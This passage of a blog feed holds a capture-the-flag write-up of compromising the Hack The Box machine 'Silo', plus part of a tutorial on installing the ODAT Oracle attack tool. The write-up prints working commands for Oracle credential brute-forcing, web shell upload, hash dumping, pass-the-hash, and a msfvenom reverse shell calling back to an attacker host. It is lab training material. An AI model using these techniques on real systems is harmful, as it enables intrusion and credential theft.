[*] Config file parsed
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;execute our payload stored on our smb share&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:/opt/odat# ./odat.py externaltable -s 10.10.10.82 -U SCOTT -P tiger -d XE --sysdba --exec \\\\10.10.14.98\\kk 6969.exe

[1] (10.10.10.82:1521): Execute the 6969.exe command stored in the \\10.10.14.98\kk path
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;getting system shell&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf exploit(multi/handler) &amp;gt; run

[*] Started reverse TCP handler on 10.10.14.98:6969
[*] Sending stage (206403 bytes) to 10.10.10.82
[*] Meterpreter session 1 opened (10.10.14.98:6969 -&amp;gt; 10.10.10.82:49173) at 2018-08-04 22:53:15 -0400

msf exploit(multi/handler) &amp;gt; sessions -i 1
[*] Starting interaction with 1...

meterpreter &amp;gt; getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter &amp;gt; sysinfo
Computer        : SILO
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : en_GB
Domain          : HTB
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter &amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;</content><author><name>A Medic (@OnlyaMedic)</name></author><category term="writeup" /><category term="pentesting" /><category term="hackthebox" /><category term="oracle" /><category term="volatility" /><summary type="html">Introduction This is probably one of the few times I voluntarily attempted to take a crack at attacking an oracle database server. I’ve had a little experience messing around with oracle databases at work, but I can’t say I knew much or anything at all about them. This box was pretty valuable to me since I got to learn some techniques and tactics about how to attack oracle databases. Once you got over the first hurdle silo wasn’t an overly obtuse box. Tools Used Nmap Metasploit Framework Msfvenom Impacket Volatility pth-winexe Enumeration Initial Scanning Like with every box let’s begin with a scan of the machine Silo (10.10.10.82). I’ve started to really enjoy using HTB almot’s htbscan.py script. # Nmap 7.70 scan initiated Sun Jun 24 11:48:59 2018 as: nmap -sV -A -v -p49158,49153,1521,80,139,49161,49160,5985,49155,135,49154,49162,47001,445 -oA nmap/open_ports 10.10.10.82 Nmap scan report for 10.10.10.82 Host is up (0.15s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC 49160/tcp open oracle-tns Oracle TNS listener (requires service name) 49161/tcp open msrpc Microsoft Windows RPC 49162/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2012 (96%), Microsoft Windows Server 2012 R2 (96%), Microsoft Windows Server 2012 R2 Update 1 (96%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (96%), Microsoft Windows Vista SP1 (96%), Microsoft Windows Server 2012 or Server 2012 R2 (95%), Microsoft Windows Server 2008 SP2 Datacenter Version (94%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (93%), Microsoft Windows Server 2008 SP1 (93%) No exact OS matches for host (test conditions non-ideal). Uptime guess: 0.074 days (since Sun Jun 24 10:05:06 2018) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: Incremental Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -1s, deviation: 0s, median: -1s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: supported | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2018-06-24 11:51:05 |_ start_date: 2018-06-24 10:05:23 TRACEROUTE (using port 445/tcp) HOP RTT ADDRESS 1 155.91 ms 10.10.14.1 2 154.66 ms 10.10.10.82 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jun 24 11:51:27 2018 -- 1 IP address (1 host up) scanned in 148.15 seconds We see some interesting services listening right off the back that will be interesting to investigate, which includes an Oracle TNS Listener (oracle database), SMB on port 445, and a web service. Enumeration Enumerating IIS - Port 80 We attempt to discover hidden directories or content, but that comes up with nothing valuable. root@dastinia:~/htb/silo# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.82 -x asp,aspx -s 200,204,301,302,307,403 -t 100 | tee gobuster_silo Gobuster v1.2 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.82/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 301,302,307,403,200,204 [+] Extensions : .asp,.aspx ===================================================== Enumerating Oracle DB - Port 1521 I wrote quick ODAT Installation tutorial a few days prior since some people were having issues installing ODAT on kali. ODAT is an open source penetration testing tool targeted at attacking, and auditing the security of Oracle Database servers. After I read up on some Oracle Database attacking methodologies: [1] - https://www.slideshare.net/martintoshev/oracle-database-12c-attack-vectors [2] - https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/ [3] - http://www.blackhat.com/presentations/bh-usa-09/GATES/BHUSA09-Gates-OracleMetasploit-SLIDES.pdf [4] - http://pentestdiary.blogspot.com/2017/08/oracle-database-penetration-testing.html The general idea methodology that I took away from it was that we needed to: Enumerate Oracle Database Version Discover SIDs (Basically oracles version a unique ‘database instance’) obtain a user account (likely through bruteforcing) Exploitation / privesc as needed. Repeat From our Nmap scan we already know that the oracle database is running version 11.2.0.2.0 We can use ODAT’s siguesser to discover well root@dastinia:/opt/odat# ./odat.py sidguesser -s 10.10.10.82 [1] (10.10.10.82:1521): Searching valid SIDs [1.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server [+] 'SAMPLE' is a valid SID. Continue... [+] 'SCAN4' is a valid SID. Continue... [+] 'XE' is a valid SID. Continue... [+] 'XEXDB' is a valid SID. Continue... 100% |###################################################################################################################################################################################################################################################################################################| Time: 00:10:55 [1.2] Searching valid SIDs thanks to a brute-force attack on 1 chars now (10.10.10.82:1521) 100% |###################################################################################################################################################################################################################################################################################################| Time: 00:00:12 [1.3] Searching valid SIDs thanks to a brute-force attack on 2 chars now (10.10.10.82:1521) [+] 'XE' is a valid SID. Continue... 100% |###################################################################################################################################################################################################################################################################################################| Time: 00:07:31 [+] SIDs found on the 10.10.10.82:1521 server: SAMPLE,SCAN4,XE,XEXDB We can use the metasploit module msf &amp;gt; use admin/oracle/oracle_login to bruteforce SIDS msf &amp;gt; use admin/oracle/oracle_login msf auxiliary(admin/oracle/oracle_login) &amp;gt; msf auxiliary(admin/oracle/oracle_login) &amp;gt; options Module options (auxiliary/admin/oracle/oracle_login): Name Current Setting Required Description ---- --------------- -------- ----------- CSVFILE /usr/share/metasploit-framework/data/wordlists/oracle_default_passwords.csv no The file that contains a list of default accounts. RHOST yes The Oracle host. RPORT 1521 yes The TNS port. SID ORCL yes The sid to authenticate with. msf auxiliary(admin/oracle/oracle_login) &amp;gt; set RHOST 10.10.10.82 RHOST =&amp;gt; 10.10.10.82 msf auxiliary(admin/oracle/oracle_login) &amp;gt; set SID XE SID =&amp;gt; XE msf auxiliary(admin/oracle/oracle_login) &amp;gt; run -j [*] Auxiliary module running as background job 0. [*] Starting brute force on 10.10.10.82:1521... [+] Found user/pass of: scott/tiger on 10.10.10.82 with sid XE [*] Auxiliary module execution completed You will discover that there is a valid user account for scott:tiger We also discover that we can connect to the database as SYSDBA. failed connection as sysoper root@dastinia:/opt/odat# sqlplus SCOTT/tiger@10.10.10.82/XE as sysoper SQL*Plus: Release 12.1.0.2.0 Production on Sat Aug 4 16:14:55 2018 Copyright (c) 1982, 2014, Oracle. All rights reserved. ERROR: ORA-01031: insufficient privileges Enter user-name: connecting as sysdba root@dastinia:/opt/odat# sqlplus SCOTT/tiger@10.10.10.82/XE as sysdba SQL*Plus: Release 12.1.0.2.0 Production on Sat Aug 4 16:15:23 2018 Copyright (c) 1982, 2014, Oracle. All rights reserved. Connected to: Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production SQL&amp;gt; Exploitation From reading over the modules there seemed to be a few modules we could attempt to leverage for code execution, or arbitrary file upload/read. The ODAT developer was extremely nice to provide a wiki of all the modules, and some examples: utlfile - Allows us to upload/download files from our local machine to the remote machine externaltabe - allows us to execute a binary with the priviledges of the Oracle database server (only if the binary is stored on the server) ctxsys - Read file from the local server dbmsadvisor - upload file to the local server So some attack paths we can take: Since a web service is running on the box we can upload a web shell (aspx) to interact with the server Upload binary payload like something generated with msfvenom, and execute it. Read potentially sensitive files which we can use to attempt to utilize for further privilege escalation. I used the first method since we will end up discovering that the oracle database was running with system privileges. I used the following aspx web shell, and uploaded to the well-known default IIS web root directory C:\inetpub\wwwroot. root@dastinia:/opt/odat# ./odat.py utlfile -s 10.10.10.82 -d XE -U SCOTT -P tiger --putFile 'C:\inetpub\wwwroot\' 'shell.aspx' /root/htb/silo/silo_shell.aspx --sysdba [1] (10.10.10.82:1521): Put the /root/htb/silo/silo_shell.aspx local file in the C:\inetpub\wwwroot\ folder like shell.aspx on the 10.10.10.82 server [+] The /root/htb/silo/silo_shell.aspx file was created on the C:\inetpub\wwwroot\ directory on the 10.10.10.82 server like the shell.aspx file Analyzing Memory Dump with Volatility We are given a dropbox link, and a password to access what appears to be a memory dump. Support vendor engaged to troubleshoot Windows / Oracle performance issue (full memory dump requested): Dropbox link provided to vendor (and password under separate cover). Dropbox link https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0 link password: £%Hm8646uC$ Let’s begin analyzing this memory dump by inspecting the processes root@dastinia:~/Desktop# volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 pslist RuntimeError: module compiled against API version 0xb but this version of numpy is 0xa Volatility Foundation Volatility Framework 2.6 Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ 0xffffe00000089940 System 4 0 84 0 ------ 0 2018-01-05 22:17:14 UTC+0000 0xffffe00000c9c100 smss.exe 208 4 3 0 ------ 0 2018-01-05 22:17:14 UTC+0000 0xffffe000034f54c0 csrss.exe 324 316 10 0 0 0 2018-01-05 22:17:15 UTC+0000 0xffffe000034ec380 csrss.exe 396 388 10 0 1 0 2018-01-05 22:17:16 UTC+0000 0xffffe000034ac940 wininit.exe 404 316 4 0 0 0 2018-01-05 22:17:16 UTC+0000 0xffffe00002fee080 winlogon.exe 448 388 5 0 1 0 2018-01-05 22:17:16 UTC+0000 0xffffe00003550940 services.exe 492 404 10 0 0 0 2018-01-05 22:17:16 UTC+0000 0xffffe00003ed4080 lsass.exe 500 404 6 0 0 0 2018-01-05 22:17:16 UTC+0000 0xffffe00003f22500 svchost.exe 560 492 15 0 0 0 2018-01-05 22:17:16 UTC+0000 0xffffe00003f39940 svchost.exe 604 492 15 0 0 0 2018-01-05 22:17:16 UTC+0000 0xffffe00003f6f680 dwm.exe 688 448 9 0 1 0 2018-01-05 22:17:16 UTC+0000 0xffffe00003f68940 vmacthlp.exe 708 492 2 0 0 0 2018-01-05 22:17:16 UTC+0000 0xffffe00003fb9080 svchost.exe 764 492 16 0 0 0 2018-01-05 22:17:17 UTC+0000 0xffffe00003fcc940 svchost.exe 800 492 63 0 0 0 2018-01-05 22:17:17 UTC+0000 0xffffe00003fe3940 svchost.exe 832 492 20 0 0 0 2018-01-05 22:17:17 UTC+0000 0xffffe00004e267c0 svchost.exe 920 492 25 0 0 0 2018-01-05 22:17:17 UTC+0000 0xffffe00004e8d940 svchost.exe 340 492 16 0 0 0 2018-01-05 22:17:17 UTC+0000 0xffffe00004f2e940 spoolsv.exe 308 492 13 0 0 0 2018-01-05 22:17:17 UTC+0000 0xffffe00004f5c940 svchost.exe 1052 492 11 0 0 0 2018-01-05 22:17:17 UTC+0000 0xffffe00004f84940 oracle.exe 1088 492 30 0 0 0 2018-01-05 22:17:17 UTC+0000 0xffffe00004fe93c0 OraClrAgnt.exe 1192 492 2 0 0 0 2018-01-05 22:17:18 UTC+0000 0xffffe00004fef940 TNSLSNR.EXE 1208 492 5 0 0 0 2018-01-05 22:17:18 UTC+0000 0xffffe00004ff0300 agtctl.exe 1216 1192 0 -------- 0 0 2018-01-05 22:17:18 UTC+0000 2018-01-05 22:17:18 UTC+0000 0xffffe00004ff3940 agtctl.exe 1264 1192 0 -------- 0 0 2018-01-05 22:17:18 UTC+0000 2018-01-05 22:17:18 UTC+0000 0xffffe00004ffc440 svchost.exe 1272 492 4 0 0 0 2018-01-05 22:17:18 UTC+0000 0xffffe00004fff080 VGAuthService. 1324 492 3 0 0 0 2018-01-05 22:17:18 UTC+0000 0xffffe000060568c0 agtctl.exe 1348 1192 0 -------- 0 0 2018-01-05 22:17:18 UTC+0000 2018-01-05 22:17:18 UTC+0000 0xffffe000060767c0 agtctl.exe 1388 1192 0 -------- 0 0 2018-01-05 22:17:18 UTC+0000 2018-01-05 22:17:18 UTC+0000 0xffffe0000608f780 vmtoolsd.exe 1444 492 8 0 0 0 2018-01-05 22:17:18 UTC+0000 0xffffe000060a62c0 ManagementAgen 1492 492 9 0 0 0 2018-01-05 22:17:18 UTC+0000 0xffffe000060c7940 svchost.exe 1516 492 16 0 0 0 2018-01-05 22:17:19 UTC+0000 0xffffe00003051940 svchost.exe 2000 492 5 0 0 0 2018-01-05 22:17:27 UTC+0000 0xffffe00003077880 TPAutoConnSvc. 1256 492 8 0 0 0 2018-01-05 22:17:27 UTC+0000 0xffffe000030a1080 dllhost.exe 1432 492 21 0 0 0 2018-01-05 22:17:27 UTC+0000 0xffffe000030b7940 dllhost.exe 1600 492 17 0 0 0 2018-01-05 22:17:27 UTC+0000 0xffffe000030cd940 WmiPrvSE.exe 1440 560 12 0 0 0 2018-01-05 22:17:27 UTC+0000 0xffffe000030cf940 msdtc.exe 2052 492 13 0 0 0 2018-01-05 22:17:27 UTC+0000 0xffffe00003117940 VSSVC.exe 2228 492 7 0 0 0 2018-01-05 22:17:29 UTC+0000 0xffffe00003149080 sppsvc.exe 2284 492 5 0 0 0 2018-01-05 22:17:29 UTC+0000 0xffffe0000315f940 SppExtComObj.E 2312 560 5 0 0 0 2018-01-05 22:17:29 UTC+0000 0xffffe000061637c0 taskhostex.exe 2368 800 7 0 1 0 2018-01-05 22:17:33 UTC+0000 0xffffe00004e00680 explorer.exe 2424 2416 56 0 1 0 2018-01-05 22:17:33 UTC+0000 0xffffe00000df34c0 ServerManager. 2732 2376 24 0 1 0 2018-01-05 22:17:35 UTC+0000 0xffffe0000301c940 TPAutoConnect. 2824 1256 3 0 1 0 2018-01-05 22:17:37 UTC+0000 0xffffe00003f698c0 conhost.exe 2832 2824 1 0 1 0 2018-01-05 22:17:37 UTC+0000 0xffffe0000136d080 vmtoolsd.exe 2992 2424 8 0 1 0 2018-01-05 22:17:45 UTC+0000 0xffffe00003224540 WmiPrvSE.exe 3056 560 19 0 0 0 2018-01-05 22:17:47 UTC+0000 0xffffe00003239940 WmiPrvSE.exe 2340 560 10 0 0 0 2018-01-05 22:17:47 UTC+0000 0xffffe0000325c940 WmiApSrv.exe 864 492 5 0 0 0 2018-01-05 22:17:48 UTC+0000 0xffffe00003203340 DumpIt.exe 2932 2424 4 0 1 0 2018-01-05 22:18:06 UTC+0000 0xffffe00003f8c940 conhost.exe 2764 2932 2 0 1 0 2018-01-05 22:18:06 UTC+0000 It looks like the forensics tool DumpIT was used to create this memory dump. Which likely means it was done with admin privileges. We can use the hashdump volatility module to dump the hashes of the accounts stored on the system. This is the equivalent of doing a hashdump with meterpreter. We just need to get the virtual offsets of the SYSTEM &amp;amp; SECURITY hives using the hivelist module first. Which happen to be 0xffffc00000028000 &amp;amp; 0xffffc00000619000 respectively.) root@dastinia:~/Desktop# volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hivelist RuntimeError: module compiled against API version 0xb but this version of numpy is 0xa Volatility Foundation Volatility Framework 2.6 Virtual Physical Name ------------------ ------------------ ---- 0xffffc0000100a000 0x000000000d40e000 \??\C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat 0xffffc000011fb000 0x0000000034570000 \SystemRoot\System32\config\DRIVERS 0xffffc00001600000 0x000000003327b000 \??\C:\Windows\AppCompat\Programs\Amcache.hve 0xffffc0000001e000 0x0000000000b65000 [no name] 0xffffc00000028000 0x0000000000a70000 \REGISTRY\MACHINE\SYSTEM 0xffffc00000052000 0x000000001a25b000 \REGISTRY\MACHINE\HARDWARE 0xffffc000004de000 0x0000000024cf8000 \Device\HarddiskVolume1\Boot\BCD 0xffffc00000103000 0x000000003205d000 \SystemRoot\System32\Config\SOFTWARE 0xffffc00002c43000 0x0000000028ecb000 \SystemRoot\System32\Config\DEFAULT 0xffffc000061a3000 0x0000000027532000 \SystemRoot\System32\Config\SECURITY 0xffffc00000619000 0x0000000026cc5000 \SystemRoot\System32\Config\SAM 0xffffc0000060d000 0x0000000026c93000 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT 0xffffc000006cf000 0x000000002688f000 \SystemRoot\System32\Config\BBI 0xffffc000007e7000 0x00000000259a8000 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT 0xffffc00000fed000 0x000000000d67f000 \??\C:\Users\Administrator\ntuser.dat dumping hashes root@dastinia:~/Desktop# volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hashdump -y 0xffffc00000028000 -s 0xffffc00000619000 RuntimeError: module compiled against API version 0xb but this version of numpy is 0xa Volatility Foundation Volatility Framework 2.6 Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Phineas:1002:aad3b435b51404eeaad3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969::: Getting System Now we can use the hashes we dumped with a tool like pth-winexe on kali to get administrator privileges. root@dastinia:~/Desktop# pth-winexe -U &quot;Administrator%aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::&quot; //10.10.10.82 cmd E_md4hash wrapper called. HASH PASS: Substituting user supplied NTLM HASH... Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32&amp;gt;whoami whoami silo\administrator C:\Windows\system32&amp;gt; C:\Users\Administrator\Desktop&amp;gt;type root.txt type root.txt cd3...[redacted].... Getting Systemv2 We can use the externaltable module to execute a binary (or command) against the system. Using a combination of impacket-smbserver + externaltable we can achieve remote code execution. generating our payload root@dastinia:/opt/serve/windows/kk# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.98 LPORT=6969 -f exe &amp;gt; 6969.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 510 bytes Final size of exe file: 7168 bytes Start up an impacket-smbserver root@dastinia:/opt/serve/windows# impacket-smbserver kk kk Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed execute our payload stored on our smb share root@dastinia:/opt/odat# ./odat.py externaltable -s 10.10.10.82 -U SCOTT -P tiger -d XE --sysdba --exec \\\\10.10.14.98\\kk 6969.exe [1] (10.10.10.82:1521): Execute the 6969.exe command stored in the \\10.10.14.98\kk path getting system shell msf exploit(multi/handler) &amp;gt; run [*] Started reverse TCP handler on 10.10.14.98:6969 [*] Sending stage (206403 bytes) to 10.10.10.82 [*] Meterpreter session 1 opened (10.10.14.98:6969 -&amp;gt; 10.10.10.82:49173) at 2018-08-04 22:53:15 -0400 msf exploit(multi/handler) &amp;gt; sessions -i 1 [*] Starting interaction with 1... meterpreter &amp;gt; getuid Server username: NT AUTHORITY\SYSTEM meterpreter &amp;gt; sysinfo Computer : SILO OS : Windows 2012 R2 (Build 9600). Architecture : x64 System Language : en_GB Domain : HTB Logged On Users : 0 Meterpreter : x64/windows meterpreter &amp;gt;</summary></entry><entry><title type="html">Installing Oracle Database Attacking Tool (ODAT) on Kali Rolling (2018)</title><link href="https://dastinia.io/tutorial/2018/07/31/installing-oracle-database-attacking-tool-on-kali/" rel="alternate" type="text/html" title="Installing Oracle Database Attacking Tool (ODAT) on Kali Rolling (2018)" /><published>2018-07-31T00:00:00-04:00</published><updated>2018-07-31T00:00:00-04:00</updated><id>https://dastinia.io/tutorial/2018/07/31/installing-oracle-database-attacking-tool-on-kali</id><content type="html" xml:base="https://dastinia.io/tutorial/2018/07/31/installing-oracle-database-attacking-tool-on-kali/">&lt;h2 id=&quot;overview&quot;&gt;Overview&lt;/h2&gt;

&lt;p&gt;I decided to write a quick little guide on installing the &lt;a href=&quot;https://github.com/quentinhardy/odat&quot;&gt;Oracle Database Attacking Tool (ODAT)&lt;/a&gt; on the latest version of Kali Linux since I noticed people were running into issues with it.&lt;/p&gt;

&lt;p&gt;ODAT is an open source penetration testing tool targeted at attacking, and auditing the security of Oracle Database servers.&lt;/p&gt;

&lt;h2 id=&quot;requirements&quot;&gt;Requirements&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;git&lt;/li&gt;
  &lt;li&gt;python 2.7.x&lt;/li&gt;
  &lt;li&gt;An account on oracle.com or use something like &lt;a href=&quot;http://bugmenot.com/&quot;&gt;bugmenot.com&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;/h2&gt;

&lt;p&gt;Note: For this setup ODAT is being installed on the latest version of Kali at the moment (2018.2)&lt;/p&gt;

&lt;p&gt;We are also installing the development version of ODAT (seems to work better than the release binaries)&lt;/p&gt;

&lt;h3 id=&quot;getting-instaclient-sdk-and-sqlplus&quot;&gt;Getting instaclient, sdk, and sqlplus&lt;/h3&gt;

&lt;p&gt;Oracle forces you to register to their site in order to download pretty much anything (thanks oracle).&lt;/p&gt;

&lt;p&gt;You can create a temporary email using any temporary email service like &lt;a href=&quot;https://10minutemail.com&quot;&gt;10minutemail.com&lt;/a&gt;, your own personal email (why?), or use the service &lt;a href=&quot;http://bugmenot.com/&quot;&gt;bugmenot.com&lt;/a&gt; to get a login. After you’ve logged in you need to download the following items.&lt;/p&gt;

&lt;p&gt;(all version 12.2.0.1.0)&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;http://download.oracle.com/otn/linux/instantclient/122010/instantclient-basic-linux.x64-12.2.0.1.0.zip&quot;&gt;instantclient-basic-linux.x64-12.2.0.1.0.zip&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://download.oracle.com/otn/linux/instantclient/122010/instantclient-sqlplus-linux.x64-12.2.0.1.0.zip&quot;&gt;instantclient-sqlplus-linux.x64-12.2.0.1.0.zip&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://download.oracle.com/otn/linux/instantclient/122010/instantclient-sdk-linux.x64-12.2.0.1.0.zip&quot;&gt;instantclient-sdk-linux.x64-12.2.0.1.0.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;we need to move all these files from the downloads directory into the &lt;code class=&quot;highlighter-rouge&quot;&gt;/opt/oracle&lt;/code&gt; directory.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/Downloads# mkdir -p /opt/oracle/
root@kali:~/Downloads# cp instantclient-* /opt/oracle/
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;After you’ve downloaded the following files ensure you unzip the &lt;code class=&quot;highlighter-rouge&quot;&gt;instantclient-basic-linux.x64-12.2.0.1.0.zip&lt;/code&gt; zip first.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/Downloads# cd /opt/oracle/
root@kali:/opt/oracle# unzip instantclient-basic-linux.x64-12.1.0.2.0.zip
root@kali:/opt/oracle# unzip instantclient-sdk-linux.x64-12.1.0.2.0.zip
root@kali:/opt/oracle# unzip instantclient-sqlplus-linux.x64-12.1.0.2.0.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;You should now have an &lt;em&gt;“instantclient_12_1”&lt;/em&gt; directory.&lt;/p&gt;

&lt;p&gt;Create symlink to the &lt;code class=&quot;highlighter-rouge&quot;&gt;libclntsh.so.12.1&lt;/code&gt; so file.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/opt/oracle# cd instantclient_12_1/
root@kali:/opt/oracle/instantclient_12_1# ln libclntsh.so.12.1 libclntsh.so
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Add the following to your &lt;code class=&quot;highlighter-rouge&quot;&gt;bashrc&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;echo &quot; 
export PATH=$PATH:/opt/oracle/instantclient_12_1
export SQLPATH=/opt/oracle/instantclient_12_1
export TNS_ADMIN=/opt/oracle/instantclient_12_1
export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_1
export ORACLE_HOME=/opt/oracle/instantclient_12_1
&quot; &amp;gt;&amp;gt; ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;reload bashrc&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/opt/oracle/instantclient_12_1# source ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;If you are able to run &lt;code class=&quot;highlighter-rouge&quot;&gt;sqlplus&lt;/code&gt; without any errors you are good to continue.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/opt/oracle/instantclient_12_1# sqlplus

SQL*Plus: Release 12.1.0.2.0 Production on Wed Aug 1 03:08:10 2018

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

Enter user-name:
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;installing-odat-development-version&quot;&gt;Installing ODAT (development version)&lt;/h3&gt;

&lt;p&gt;From this point forward, it’s basically following the guide on the github setup page minus a few steps. (I recommend doing an apt-get update before performing the following steps)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# cd /opt/
root@kali:/opt# git clone https://github.com/quentinhardy/odat.git
cd odat/
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Install: &lt;em&gt;libaio1 python-dev alien python-pip python-scapy&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/opt/odat# apt-get install -y libaio1 python-dev alien python-pip python-scapy
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;install: &lt;em&gt;cx_Oracle&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/opt/odat# pip install cx_Oracle
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Test to make sure the dependencies so far have installed correctly. You shouldn’t have any errors here.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/opt/odat# python -c 'import cx_Oracle'
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Install the following python packages from pip: &lt;em&gt;colorlog termcolor pycrypto passlib argcomplete&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/opt/odat# pip install colorlog termcolor pycrypto passlib argcomplete 
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Active python-argcomplete&lt;/p&gt;

